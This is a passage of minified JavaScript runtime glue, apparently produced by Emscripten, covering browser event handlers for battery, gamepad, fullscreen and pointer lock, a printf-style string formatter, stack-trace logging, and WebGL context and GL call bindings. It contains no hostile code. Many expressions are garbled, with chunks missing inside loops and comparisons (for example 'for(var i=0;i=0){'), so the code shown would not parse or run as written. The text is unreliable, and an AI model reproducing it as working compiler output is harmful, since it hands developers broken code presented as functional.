confirmationMessage}});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:beforeUnloadEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),battery:(function(){return navigator.battery||navigator.mozBattery||navigator.webkitBattery}),fillBatteryEventData:(function(eventStruct,e){HEAPF64[eventStruct>>3]=e.chargingTime;HEAPF64[eventStruct+8>>3]=e.dischargingTime;HEAPF64[eventStruct+16>>3]=e.level;HEAP32[eventStruct+24>>2]=e.charging}),registerBatteryEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.batteryEvent)JSEvents.batteryEvent=_malloc(32);var batteryEventHandlerFunc=(function(event){var e=event||window.event;var batteryEvent=JSEvents.batteryEvent;JSEvents.fillBatteryEventData(batteryEvent,JSEvents.battery());if(Module["dynCall_iiii"](callbackfunc,eventTypeId,batteryEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:batteryEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerWebGlEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!target)target=Module["canvas"];var webGlEventHandlerFunc=(function(event){var e=event||window.event;if(Module["dynCall_iiii"](callbackfunc,eventTypeId,0,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:webGlEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)})};var __currentFullscreenStrategy={};function _emscripten_exit_fullscreen(){if(typeof JSEvents.fullscreenEnabled()==="undefined")return-1;JSEvents.removeDeferredCalls(JSEvents.requestFullscreen);if(document.exitFullscreen){document.exitFullscreen()}else if(document.msExitFullscreen){document.msExitFullscreen()}else if(document.mozCancelFullScreen){document.mozCancelFullScreen()}else if(document.webkitExitFullscreen){document.webkitExitFullscreen()}else{return-1}if(__currentFullscreenStrategy.canvasResizedCallback){Module["dynCall_iiii"](__currentFullscreenStrategy.canvasResizedCallback,37,0,__currentFullscreenStrategy.canvasResizedCallbackUserData)}return 0}function _emscripten_exit_pointerlock(){JSEvents.removeDeferredCalls(JSEvents.requestPointerLock);if(document.exitPointerLock){document.exitPointerLock()}else if(document.msExitPointerLock){document.msExitPointerLock()}else if(document.mozExitPointerLock){document.mozExitPointerLock()}else if(document.webkitExitPointerLock){document.webkitExitPointerLock()}else{return-1}return 0}function _emscripten_get_fullscreen_status(fullscreenStatus){if(typeof JSEvents.fullscreenEnabled()==="undefined")return-1;JSEvents.fillFullscreenChangeEventData(fullscreenStatus);return 0}function __emscripten_sample_gamepad_data(){if(!JSEvents.numGamepadsConnected)return;if(Browser.mainLoop.currentFrameNumber!==JSEvents.lastGamepadStateFrame||!Browser.mainLoop.currentFrameNumber){JSEvents.lastGamepadState=navigator.getGamepads?navigator.getGamepads():navigator.webkitGetGamepads?navigator.webkitGetGamepads:null;JSEvents.lastGamepadStateFrame=Browser.mainLoop.currentFrameNumber}}function _emscripten_get_gamepad_status(index,gamepadState){__emscripten_sample_gamepad_data();if(!JSEvents.lastGamepadState)return-1;if(index<0||index>=JSEvents.lastGamepadState.length)return-5;if(!JSEvents.lastGamepadState[index])return-7;JSEvents.fillGamepadEventData(gamepadState,JSEvents.lastGamepadState[index]);return 0}function _emscripten_get_main_loop_timing(mode,value){if(mode)HEAP32[mode>>2]=Browser.mainLoop.timingMode;if(value)HEAP32[value>>2]=Browser.mainLoop.timingValue}function _emscripten_get_num_gamepads(){if(!JSEvents.numGamepadsConnected)return 0;__emscripten_sample_gamepad_data();if(!JSEvents.lastGamepadState)return-1;return JSEvents.lastGamepadState.length}function _emscripten_has_threading_support(){return 0}function _emscripten_html5_remove_all_event_listeners(){JSEvents.removeAllEventListeners()}function _emscripten_is_webgl_context_lost(target){if(!Module.ctx)return true;return Module.ctx.isContextLost()}function __reallyNegative(x){return x<0||x===0&&1/x===-Infinity}function __formatString(format,varargs){assert((varargs&3)===0);var textIndex=format;var argIndex=varargs;function prepVararg(ptr,type){if(type==="double"||type==="i64"){if(ptr&7){assert((ptr&7)===4);ptr+=4}}else{assert((ptr&3)===0)}return ptr}function getNextArg(type){var ret;argIndex=prepVararg(argIndex,type);if(type==="double"){ret=HEAPF64[argIndex>>3];argIndex+=8}else if(type=="i64"){ret=[HEAP32[argIndex>>2],HEAP32[argIndex+4>>2]];argIndex+=8}else{assert((argIndex&3)===0);type="i32";ret=HEAP32[argIndex>>2];argIndex+=4}return ret}var ret=[];var curr,next,currArg;while(1){var startTextIndex=textIndex;curr=HEAP8[textIndex>>0];if(curr===0)break;next=HEAP8[textIndex+1>>0];if(curr==37){var flagAlwaysSigned=false;var flagLeftAlign=false;var flagAlternative=false;var flagZeroPad=false;var flagPadSign=false;flagsLoop:while(1){switch(next){case 43:flagAlwaysSigned=true;break;case 45:flagLeftAlign=true;break;case 35:flagAlternative=true;break;case 48:if(flagZeroPad){break flagsLoop}else{flagZeroPad=true;break};case 32:flagPadSign=true;break;default:break flagsLoop}textIndex++;next=HEAP8[textIndex+1>>0]}var width=0;if(next==42){width=getNextArg("i32");textIndex++;next=HEAP8[textIndex+1>>0]}else{while(next>=48&&next<=57){width=width*10+(next-48);textIndex++;next=HEAP8[textIndex+1>>0]}}var precisionSet=false,precision=-1;if(next==46){precision=0;precisionSet=true;textIndex++;next=HEAP8[textIndex+1>>0];if(next==42){precision=getNextArg("i32");textIndex++}else{while(1){var precisionChr=HEAP8[textIndex+1>>0];if(precisionChr<48||precisionChr>57)break;precision=precision*10+(precisionChr-48);textIndex++}}next=HEAP8[textIndex+1>>0]}if(precision<0){precision=6;precisionSet=false}var argSize;switch(String.fromCharCode(next)){case"h":var nextNext=HEAP8[textIndex+2>>0];if(nextNext==104){textIndex++;argSize=1}else{argSize=2}break;case"l":var nextNext=HEAP8[textIndex+2>>0];if(nextNext==108){textIndex++;argSize=8}else{argSize=4}break;case"L":case"q":case"j":argSize=8;break;case"z":case"t":case"I":argSize=4;break;default:argSize=null}if(argSize)textIndex++;next=HEAP8[textIndex+1>>0];switch(String.fromCharCode(next)){case"d":case"i":case"u":case"o":case"x":case"X":case"p":{var signed=next==100||next==105;argSize=argSize||4;currArg=getNextArg("i"+argSize*8);var origArg=currArg;var argText;if(argSize==8){currArg=makeBigInt(currArg[0],currArg[1],next==117)}if(argSize<=4){var limit=Math.pow(256,argSize)-1;currArg=(signed?reSign:unSign)(currArg&limit,argSize*8)}var currAbsArg=Math.abs(currArg);var prefix="";if(next==100||next==105){if(argSize==8&&typeof i64Math==="object")argText=i64Math.stringify(origArg[0],origArg[1],null);else argText=reSign(currArg,8*argSize,1).toString(10)}else if(next==117){if(argSize==8&&typeof i64Math==="object")argText=i64Math.stringify(origArg[0],origArg[1],true);else argText=unSign(currArg,8*argSize,1).toString(10);currArg=Math.abs(currArg)}else if(next==111){argText=(flagAlternative?"0":"")+currAbsArg.toString(8)}else if(next==120||next==88){prefix=flagAlternative&&currArg!=0?"0x":"";if(argSize==8&&typeof i64Math==="object"){if(origArg[1]){argText=(origArg[1]>>>0).toString(16);var lower=(origArg[0]>>>0).toString(16);while(lower.length<8)lower="0"+lower;argText+=lower}else{argText=(origArg[0]>>>0).toString(16)}}else if(currArg<0){currArg=-currArg;argText=(currAbsArg-1).toString(16);var buffer=[];for(var i=0;i=0){if(flagAlwaysSigned){prefix="+"+prefix}else if(flagPadSign){prefix=" "+prefix}}if(argText.charAt(0)=="-"){prefix="-"+prefix;argText=argText.substr(1)}while(prefix.length+argText.lengthexponent&&exponent>=-4){next=(next==103?"f":"F").charCodeAt(0);precision-=exponent+1}else{next=(next==103?"e":"E").charCodeAt(0);precision--}effectivePrecision=Math.min(precision,20)}if(next==101||next==69){argText=currArg.toExponential(effectivePrecision);if(/[eE][-+]\d$/.test(argText)){argText=argText.slice(0,-1)+"0"+argText.slice(-1)}}else if(next==102||next==70){argText=currArg.toFixed(effectivePrecision);if(currArg===0&&__reallyNegative(currArg)){argText="-"+argText}}var parts=argText.split("e");if(isGeneral&&!flagAlternative){while(parts[0].length>1&&parts[0].indexOf(".")!=-1&&(parts[0].slice(-1)=="0"||parts[0].slice(-1)==".")){parts[0]=parts[0].slice(0,-1)}}else{if(flagAlternative&&argText.indexOf(".")==-1)parts[0]+=".";while(precision>effectivePrecision++)parts[0]+="0"}argText=parts[0]+(parts.length>1?"e"+parts[1]:"");if(next==69)argText=argText.toUpperCase();if(currArg>=0){if(flagAlwaysSigned){argText="+"+argText}else if(flagPadSign){argText=" "+argText}}}while(argText.length>0])}}else{ret=ret.concat(intArrayFromString("(null)".substr(0,argLength),true))}if(flagLeftAlign){while(argLength0){ret.push(32)}if(!flagLeftAlign)ret.push(getNextArg("i8"));break};case"n":{var ptr=getNextArg("i32*");HEAP32[ptr>>2]=ret.length;break};case"%":{ret.push(curr);break};default:{for(var i=startTextIndex;i>0])}}}textIndex+=2}else{ret.push(curr);textIndex+=1}}return ret}function __emscripten_traverse_stack(args){if(!args||!args.callee||!args.callee.name){return[null,"",""]}var funstr=args.callee.toString();var funcname=args.callee.name;var str="(";var first=true;for(var i in args){var a=args[i];if(!first){str+=", "}first=false;if(typeof a==="number"||typeof a==="string"){str+=a}else{str+="("+typeof a+")"}}str+=")";var caller=args.callee.caller;args=caller?caller.arguments:[];if(first)str="";return[args,funcname,str]}function _emscripten_get_callstack_js(flags){var callstack=jsStackTrace();var iThisFunc=callstack.lastIndexOf("_emscripten_log");var iThisFunc2=callstack.lastIndexOf("_emscripten_get_callstack");var iNextLine=callstack.indexOf("\n",Math.max(iThisFunc,iThisFunc2))+1;callstack=callstack.slice(iNextLine);if(flags&8&&typeof emscripten_source_map==="undefined"){warnOnce('Source map information is not available, emscripten_log with EM_LOG_C_STACK will be ignored. Build with "--pre-js $EMSCRIPTEN/src/emscripten-source-map.min.js" linker flag to add source map loading to code.');flags^=8;flags|=16}var stack_args=null;if(flags&128){stack_args=__emscripten_traverse_stack(arguments);while(stack_args[1].indexOf("_emscripten_")>=0)stack_args=__emscripten_traverse_stack(stack_args[0])}var lines=callstack.split("\n");callstack="";var newFirefoxRe=new RegExp("\\s*(.*?)@(.*?):([0-9]+):([0-9]+)");var firefoxRe=new RegExp("\\s*(.*?)@(.*):(.*)(:(.*))?");var chromeRe=new RegExp("\\s*at (.*?) \\((.*):(.*):(.*)\\)");for(var l in lines){var line=lines[l];var jsSymbolName="";var file="";var lineno=0;var column=0;var parts=chromeRe.exec(line);if(parts&&parts.length==5){jsSymbolName=parts[1];file=parts[2];lineno=parts[3];column=parts[4]}else{parts=newFirefoxRe.exec(line);if(!parts)parts=firefoxRe.exec(line);if(parts&&parts.length>=4){jsSymbolName=parts[1];file=parts[2];lineno=parts[3];column=parts[4]|0}else{callstack+=line+"\n";continue}}var cSymbolName=flags&32?demangle(jsSymbolName):jsSymbolName;if(!cSymbolName){cSymbolName=jsSymbolName}var haveSourceMap=false;if(flags&8){var orig=emscripten_source_map.originalPositionFor({line:lineno,column:column});haveSourceMap=orig&&orig.source;if(haveSourceMap){if(flags&64){orig.source=orig.source.substring(orig.source.replace(/\\/g,"/").lastIndexOf("/")+1)}callstack+=" at "+cSymbolName+" ("+orig.source+":"+orig.line+":"+orig.column+")\n"}}if(flags&16||!haveSourceMap){if(flags&64){file=file.substring(file.replace(/\\/g,"/").lastIndexOf("/")+1)}callstack+=(haveSourceMap?" = "+jsSymbolName:" at "+cSymbolName)+" ("+file+":"+lineno+":"+column+")\n"}if(flags&128&&stack_args[0]){if(stack_args[1]==jsSymbolName&&stack_args[2].length>0){callstack=callstack.replace(/\s+$/,"");callstack+=" with values: "+stack_args[1]+stack_args[2]+"\n"}stack_args=__emscripten_traverse_stack(stack_args[0])}}callstack=callstack.replace(/\s+$/,"");return callstack}function _emscripten_log_js(flags,str){if(flags&24){str=str.replace(/\s+$/,"");str+=(str.length>0?"\n":"")+_emscripten_get_callstack_js(flags)}if(flags&1){if(flags&4){console.error(str)}else if(flags&2){console.warn(str)}else{console.log(str)}}else if(flags&6){err(str)}else{out(str)}}function _emscripten_log(flags,varargs){var format=HEAP32[varargs>>2];varargs+=4;var str="";if(format){var result=__formatString(format,varargs);for(var i=0;i>2];if(len<0){frag=Pointer_stringify(HEAP32[string+i*4>>2])}else{frag=Pointer_stringify(HEAP32[string+i*4>>2],len)}}else{frag=Pointer_stringify(HEAP32[string+i*4>>2])}source+=frag}return source}),createContext:(function(canvas,webGLContextAttributes){if(typeof webGLContextAttributes["majorVersion"]==="undefined"&&typeof webGLContextAttributes["minorVersion"]==="undefined"){if(typeof WebGL2RenderingContext!=="undefined")webGLContextAttributes["majorVersion"]=2;else webGLContextAttributes["majorVersion"]=1;webGLContextAttributes["minorVersion"]=0}var ctx;var errorInfo="?";function onContextCreationError(event){errorInfo=event.statusMessage||errorInfo}webGLContextAttributes["powerPreference"]="high-performance";try{canvas.addEventListener("webglcontextcreationerror",onContextCreationError,false);try{if(webGLContextAttributes["majorVersion"]==1&&webGLContextAttributes["minorVersion"]==0){ctx=canvas.getContext("webgl",webGLContextAttributes)||canvas.getContext("experimental-webgl",webGLContextAttributes)}else if(webGLContextAttributes["majorVersion"]==2&&webGLContextAttributes["minorVersion"]==0){ctx=canvas.getContext("webgl2",webGLContextAttributes)}else{throw"Unsupported WebGL context version "+majorVersion+"."+minorVersion+"!"}}finally{canvas.removeEventListener("webglcontextcreationerror",onContextCreationError,false)}if(!ctx)throw":("}catch(e){out("Could not create canvas: "+[errorInfo,e,JSON.stringify(webGLContextAttributes)]);return 0}if(!ctx)return 0;var context=GL.registerContext(ctx,webGLContextAttributes);return context}),registerContext:(function(ctx,webGLContextAttributes){var handle=_malloc(8);HEAP32[handle>>2]=webGLContextAttributes["explicitSwapControl"];var context={handle:handle,attributes:webGLContextAttributes,version:webGLContextAttributes["majorVersion"],GLctx:ctx};function getChromeVersion(){var raw=navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);return raw?parseInt(raw[2],10):false}context.supportsWebGL2EntryPoints=context.version>=2&&(getChromeVersion()===false||getChromeVersion()>=58);if(ctx.canvas)ctx.canvas.GLctxObject=context;GL.contexts[handle]=context;if(typeof webGLContextAttributes["enableExtensionsByDefault"]==="undefined"||webGLContextAttributes["enableExtensionsByDefault"]){GL.initExtensions(context)}if(webGLContextAttributes["renderViaOffscreenBackBuffer"]){return 0}return handle}),makeContextCurrent:(function(contextHandle){if(!contextHandle){GLctx=Module.ctx=GL.currentContext=null;return true}var context=GL.contexts[contextHandle];if(!context){return false}GLctx=Module.ctx=context.GLctx;GL.currentContext=context;return true}),getContext:(function(contextHandle){return GL.contexts[contextHandle]}),deleteContext:(function(contextHandle){if(!contextHandle)return;if(GL.currentContext===GL.contexts[contextHandle])GL.currentContext=null;if(typeof JSEvents==="object")JSEvents.removeAllHandlersOnTarget(GL.contexts[contextHandle].GLctx.canvas);if(GL.contexts[contextHandle]&&GL.contexts[contextHandle].GLctx.canvas)GL.contexts[contextHandle].GLctx.canvas.GLctxObject=undefined;_free(GL.contexts[contextHandle]);GL.contexts[contextHandle]=null}),initExtensions:(function(context){if(!context)context=GL.currentContext;if(context.initExtensionsDone)return;context.initExtensionsDone=true;var GLctx=context.GLctx;context.maxVertexAttribs=GLctx.getParameter(GLctx.MAX_VERTEX_ATTRIBS);if(context.version<2){var instancedArraysExt=GLctx.getExtension("ANGLE_instanced_arrays");if(instancedArraysExt){GLctx["vertexAttribDivisor"]=(function(index,divisor){instancedArraysExt["vertexAttribDivisorANGLE"](index,divisor)});GLctx["drawArraysInstanced"]=(function(mode,first,count,primcount){instancedArraysExt["drawArraysInstancedANGLE"](mode,first,count,primcount)});GLctx["drawElementsInstanced"]=(function(mode,count,type,indices,primcount){instancedArraysExt["drawElementsInstancedANGLE"](mode,count,type,indices,primcount)})}var vaoExt=GLctx.getExtension("OES_vertex_array_object");if(vaoExt){GLctx["createVertexArray"]=(function(){return vaoExt["createVertexArrayOES"]()});GLctx["deleteVertexArray"]=(function(vao){vaoExt["deleteVertexArrayOES"](vao)});GLctx["bindVertexArray"]=(function(vao){vaoExt["bindVertexArrayOES"](vao)});GLctx["isVertexArray"]=(function(vao){return vaoExt["isVertexArrayOES"](vao)})}var drawBuffersExt=GLctx.getExtension("WEBGL_draw_buffers");if(drawBuffersExt){GLctx["drawBuffers"]=(function(n,bufs){drawBuffersExt["drawBuffersWEBGL"](n,bufs)})}}GLctx.disjointTimerQueryExt=GLctx.getExtension("EXT_disjoint_timer_query");var automaticallyEnabledExtensions=["OES_texture_float","OES_texture_half_float","OES_standard_derivatives","OES_vertex_array_object","WEBGL_compressed_texture_s3tc","WEBGL_depth_texture","OES_element_index_uint","EXT_texture_filter_anisotropic","EXT_frag_depth","WEBGL_draw_buffers","ANGLE_instanced_arrays","OES_texture_float_linear","OES_texture_half_float_linear","EXT_blend_minmax","EXT_shader_texture_lod","EXT_texture_norm16","WEBGL_compressed_texture_pvrtc","EXT_color_buffer_half_float","WEBGL_color_buffer_float","EXT_sRGB","WEBGL_compressed_texture_etc1","EXT_disjoint_timer_query","WEBGL_compressed_texture_etc","WEBGL_compressed_texture_astc","EXT_color_buffer_float","WEBGL_compressed_texture_s3tc_srgb","EXT_disjoint_timer_query_webgl2","WEBKIT_WEBGL_compressed_texture_pvrtc"];var exts=GLctx.getSupportedExtensions();if(exts&&exts.length>0){GLctx.getSupportedExtensions().forEach((function(ext){if(automaticallyEnabledExtensions.indexOf(ext)!=-1){GLctx.getExtension(ext)}}))}}),populateUniformTable:(function(program){var p=GL.programs[program];GL.programInfos[program]={uniforms:{},maxUniformLength:0,maxAttributeLength:-1,maxUniformBlockNameLength:-1};var ptable=GL.programInfos[program];var utable=ptable.uniforms;var numUniforms=GLctx.getProgramParameter(p,GLctx.ACTIVE_UNIFORMS);for(var i=0;i>2];contextAttributes["depth"]=!!HEAP32[attributes+4>>2];contextAttributes["stencil"]=!!HEAP32[attributes+8>>2];contextAttributes["antialias"]=!!HEAP32[attributes+12>>2];contextAttributes["premultipliedAlpha"]=!!HEAP32[attributes+16>>2];contextAttributes["preserveDrawingBuffer"]=!!HEAP32[attributes+20>>2];contextAttributes["preferLowPowerToHighPerformance"]=!!HEAP32[attributes+24>>2];contextAttributes["failIfMajorPerformanceCaveat"]=!!HEAP32[attributes+28>>2];contextAttributes["majorVersion"]=HEAP32[attributes+32>>2];contextAttributes["minorVersion"]=HEAP32[attributes+36>>2];contextAttributes["explicitSwapControl"]=HEAP32[attributes+44>>2];contextAttributes["proxyContextToMainThread"]=HEAP32[attributes+48>>2];contextAttributes["renderViaOffscreenBackBuffer"]=HEAP32[attributes+52>>2];target=Pointer_stringify(target);var canvas;if((!target||target==="#canvas")&&Module["canvas"]){canvas=Module["canvas"].id&&GL.offscreenCanvases[Module["canvas"].id]?GL.offscreenCanvases[Module["canvas"].id].offscreenCanvas||JSEvents.findEventTarget(Module["canvas"].id):Module["canvas"]}else{canvas=GL.offscreenCanvases[target]?GL.offscreenCanvases[target].offscreenCanvas:JSEvents.findEventTarget(target)}if(!canvas){return 0}if(contextAttributes["explicitSwapControl"]){return 0}var contextHandle=GL.createContext(canvas,contextAttributes);return contextHandle}function _emscripten_webgl_create_context(){return _emscripten_webgl_do_create_context.apply(null,arguments)}function _emscripten_webgl_destroy_context_calling_thread(contextHandle){GL.deleteContext(contextHandle)}function _emscripten_webgl_destroy_context(){return _emscripten_webgl_destroy_context_calling_thread.apply(null,arguments)}function _emscripten_webgl_enable_extension_calling_thread(contextHandle,extension){var context=GL.getContext(contextHandle);var extString=Pointer_stringify(extension);if(extString.indexOf("GL_")==0)extString=extString.substr(3);var ext=context.GLctx.getExtension(extString);return ext?1:0}function _emscripten_webgl_enable_extension(){return _emscripten_webgl_enable_extension_calling_thread.apply(null,arguments)}function _emscripten_webgl_do_get_current_context(){return GL.currentContext?GL.currentContext.handle:0}function _emscripten_webgl_get_current_context(){return _emscripten_webgl_do_get_current_context.apply(null,arguments)}function _emscripten_webgl_init_context_attributes(attributes){HEAP32[attributes>>2]=1;HEAP32[attributes+4>>2]=1;HEAP32[attributes+8>>2]=0;HEAP32[attributes+12>>2]=1;HEAP32[attributes+16>>2]=1;HEAP32[attributes+20>>2]=0;HEAP32[attributes+24>>2]=0;HEAP32[attributes+28>>2]=0;HEAP32[attributes+32>>2]=1;HEAP32[attributes+36>>2]=0;HEAP32[attributes+40>>2]=1;HEAP32[attributes+44>>2]=0;HEAP32[attributes+48>>2]=0;HEAP32[attributes+52>>2]=0}function _emscripten_webgl_make_context_current(contextHandle){var success=GL.makeContextCurrent(contextHandle);return success?0:-5}function __exit(status){exit(status)}function _exit(status){__exit(status)}function _flock(fd,operation){return 0}function _getenv(name){if(name===0)return 0;name=Pointer_stringify(name);if(!ENV.hasOwnProperty(name))return 0;if(_getenv.ret)_free(_getenv.ret);_getenv.ret=allocateUTF8(ENV[name]);return _getenv.ret}function _gethostbyname(name){name=Pointer_stringify(name);var ret=_malloc(20);var nameBuf=_malloc(name.length+1);stringToUTF8(name,nameBuf,name.length+1);HEAP32[ret>>2]=nameBuf;var aliasesBuf=_malloc(4);HEAP32[aliasesBuf>>2]=0;HEAP32[ret+4>>2]=aliasesBuf;var afinet=2;HEAP32[ret+8>>2]=afinet;HEAP32[ret+12>>2]=4;var addrListBuf=_malloc(12);HEAP32[addrListBuf>>2]=addrListBuf+8;HEAP32[addrListBuf+4>>2]=0;HEAP32[addrListBuf+8>>2]=__inet_pton4_raw(DNS.lookup_name(name));HEAP32[ret+16>>2]=addrListBuf;return ret}function _gethostbyaddr(addr,addrlen,type){if(type!==2){___setErrNo(ERRNO_CODES.EAFNOSUPPORT);return null}addr=HEAP32[addr>>2];var host=__inet_ntop4_raw(addr);var lookup=DNS.lookup_addr(host);if(lookup){host=lookup}var hostp=allocate(intArrayFromString(host),"i8",ALLOC_STACK);return _gethostbyname(hostp)}function _getpagesize(){return PAGE_SIZE}function _getpwuid(uid){return 0}function _gettimeofday(ptr){var now=Date.now();HEAP32[ptr>>2]=now/1e3|0;HEAP32[ptr+4>>2]=now%1e3*1e3|0;return 0}function _glActiveTexture(x0){GLctx["activeTexture"](x0)}function _glAttachShader(program,shader){GLctx.attachShader(GL.programs[program],GL.shaders[shader])}function _glBeginQuery(target,id){GLctx["beginQuery"](target,id?GL.queries[id]:null)}function _glBeginTransformFeedback(x0){GLctx["beginTransformFeedback"](x0)}function _glBindAttribLocation(program,index,name){name=Pointer_stringify(name);GLctx.bindAttribLocation(GL.programs[program],index,name)}function _glBindBuffer(target,buffer){var bufferObj=buffer?GL.buffers[buffer]:null;if(target==35051){GLctx.currentPixelPackBufferBinding=buffer}else if(target==35052){GLctx.currentPixelUnpackBufferBinding=buffer}GLctx.bindBuffer(target,bufferObj)}function _glBindBufferBase(target,index,buffer){var bufferObj=buffer?GL.buffers[buffer]:null;GLctx["bindBufferBase"](target,index,bufferObj)}function _glBindBufferRange(target,index,buffer,offset,ptrsize){var bufferObj=buffer?GL.buffers[buffer]:null;GLctx["bindBufferRange"](target,index,bufferObj,offset,ptrsize)}function _glBindFramebuffer(target,framebuffer){GLctx.bindFramebuffer(target,framebuffer?GL.framebuffers[framebuffer]:null)}function _glBindRenderbuffer(target,renderbuffer){GLctx.bindRenderbuffer(target,renderbuffer?GL.renderbuffers[renderbuffer]:null)}function _glBindSampler(unit,sampler){GLctx["bindSampler"](unit,sampler?GL.samplers[sampler]:null)}function _glBindTexture(target,texture){GLctx.bindTexture(target,texture?GL.textures[texture]:null)}function _glBindTransformFeedback(target,id){var transformFeedback=id?GL.transformFeedbacks[id]:null;if(id&&!transformFeedback){GL.recordError(1282);return}GLctx["bindTransformFeedback"](target,transformFeedback)}function _glBindVertexArray(vao){GLctx["bindVertexArray"](GL.vaos[vao])}function _glBlendEquation(x0){GLctx["blendEquation"](x0)}function _glBlendEquationSeparate(x0,x1){GLctx["blendEquationSeparate"](x0,x1)}function _glBlendFuncSeparate(x0,x1,x2,x3){GLctx["blendFuncSeparate"](x0,x1,x2,x3)}function _glBlitFramebuffer(x0,x1,x2,x3,x4,x5,x6,x7,x8,x9){GLctx["blitFramebuffer"](x0,x1,x2,x3,x4,x5,x6,x7,x8,x9)}function _glBufferData(target,size,data,usage){if(!data){GLctx.bufferData(target,size,usage)}else{if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferData(target,HEAPU8,usage,data,size);return}GLctx.bufferData(target,HEAPU8.subarray(data,data+size),usage)}}function _glBufferSubData(target,offset,size,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferSubData(target,offset,HEAPU8,data,size);return}GLctx.bufferSubData(target,offset,HEAPU8.subarray(data,data+size))}function _glCheckFramebufferStatus(x0){return GLctx["checkFramebufferStatus"](x0)}function _glClear(x0){GLctx["clear"](x0)}function _glClearBufferfi(x0,x1,x2,x3){GLctx["clearBufferfi"](x0,x1,x2,x3)}function _glClearBufferfv(buffer,drawbuffer,value){GLctx["clearBufferfv"](buffer,drawbuffer,HEAPF32,value>>2)}function _glClearBufferuiv(buffer,drawbuffer,value){GLctx["clearBufferuiv"](buffer,drawbuffer,HEAPU32,value>>2)}function _glClearColor(x0,x1,x2,x3){GLctx["clearColor"](x0,x1,x2,x3)}function _glClearDepthf(x0){GLctx["clearDepth"](x0)}function _glClearStencil(x0){GLctx["clearStencil"](x0)}function _glClientWaitSync(sync,flags,timeoutLo,timeoutHi){timeoutLo=timeoutLo>>>0;timeoutHi=timeoutHi>>>0;var timeout=timeoutLo==4294967295&&timeoutHi==4294967295?-1:makeBigInt(timeoutLo,timeoutHi,true);return GLctx.clientWaitSync(GL.syncs[sync],flags,timeout)}function _glColorMask(red,green,blue,alpha){GLctx.colorMask(!!red,!!green,!!blue,!!alpha)}function _glCompileShader(shader){GLctx.compileShader(GL.shaders[shader])}function _glCompressedTexImage2D(target,level,internalFormat,width,height,border,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx["compressedTexImage2D"](target,level,internalFormat,width,height,border,HEAPU8,data,imageSize);return}GLctx["compressedTexImage2D"](target,level,internalFormat,width,height,border,data?HEAPU8.subarray(data,data+imageSize):null)}function _glCompressedTexImage3D(target,level,internalFormat,width,height,depth,border,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx["compressedTexImage3D"](target,level,internalFormat,width,height,depth,border,HEAPU8,data,imageSize)}else{GLctx["compressedTexImage3D"](target,level,internalFormat,width,height,depth,border,data?HEAPU8.subarray(data,data+imageSize):null)}}function _glCompressedTexSubImage2D(target,level,xoffset,yoffset,width,height,format,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx["compressedTexSubImage2D"](target,level,xoffset,yoffset,width,height,format,HEAPU8,data,imageSize);return}GLctx["compressedTexSubImage2D"](target,level,xoffset,yoffset,width,height,format,data?HEAPU8.subarray(data,data+imageSize):null)}function _glCompressedTexSubImage3D(target,level,xoffset,yoffset,zoffset,width,height,depth,format,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx["compressedTexSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,HEAPU8,data,imageSize)}else{GLctx["compressedTexSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,data?HEAPU8.subarray(data,data+imageSize):null)}}function _glCopyBufferSubData(x0,x1,x2,x3,x4){GLctx["copyBufferSubData"](x0,x1,x2,x3,x4)}function _glCopyTexImage2D(x0,x1,x2,x3,x4,x5,x6,x7){GLctx["copyTexImage2D"](x0,x1,x2,x3,x4,x5,x6,x7)}function _glCopyTexSubImage2D(x0,x1,x2,x3,x4,x5,x6,x7){GLctx["copyTexSubImage2D"](x0,x1,x2,x3,x4,x5,x6,x7)}function _glCreateProgram(){var id=GL.getNewId(GL.programs);var program=GLctx.createProgram();program.name=id;GL.programs[id]=program;return id}function _glCreateShader(shaderType){var id=GL.getNewId(GL.shaders);GL.shaders[id]=GLctx.createShader(shaderType);return id}function _glCullFace(x0){GLctx["cullFace"](x0)}function _glDeleteBuffers(n,buffers){for(var i=0;i>2];var buffer=GL.buffers[id];if(!buffer)continue;GLctx.deleteBuffer(buffer);buffer.name=0;GL.buffers[id]=null;if(id==GL.currArrayBuffer)GL.currArrayBuffer=0;if(id==GL.currElementArrayBuffer)GL.currElementArrayBuffer=0}}function _glDeleteFramebuffers(n,framebuffers){for(var i=0;i>2];var framebuffer=GL.framebuffers[id];if(!framebuffer)continue;GLctx.deleteFramebuffer(framebuffer);framebuffer.name=0;GL.framebuffers[id]=null}}function _glDeleteProgram(id){if(!id)return;var program=GL.programs[id];if(!program){GL.recordError(1281);return}GLctx.deleteProgram(program);program.name=0;GL.programs[id]=null;GL.programInfos[id]=null}function _glDeleteQueries(n,ids){for(var i=0;i>2];var query=GL.queries[id];if(!query)continue;GLctx["deleteQuery"](query);GL.queries[id]=null}}function _glDeleteRenderbuffers(n,renderbuffers){for(var i=0;i>2];var renderbuffer=GL.renderbuffers[id];if(!renderbuffer)continue;GLctx.deleteRenderbuffer(renderbuffer);renderbuffer.name=0;GL.renderbuffers[id]=null}}function _glDeleteSamplers(n,samplers){for(var i=0;i>2];var sampler=GL.samplers[id];if(!sampler)continue;GLctx["deleteSampler"](sampler);sampler.name=0;GL.samplers[id]=null}}function _glDeleteShader(id){if(!id)return;var shader=GL.shaders[id];if(!shader){GL.recordError(1281);return}GLctx.deleteShader(shader);GL.shaders[id]=null}function 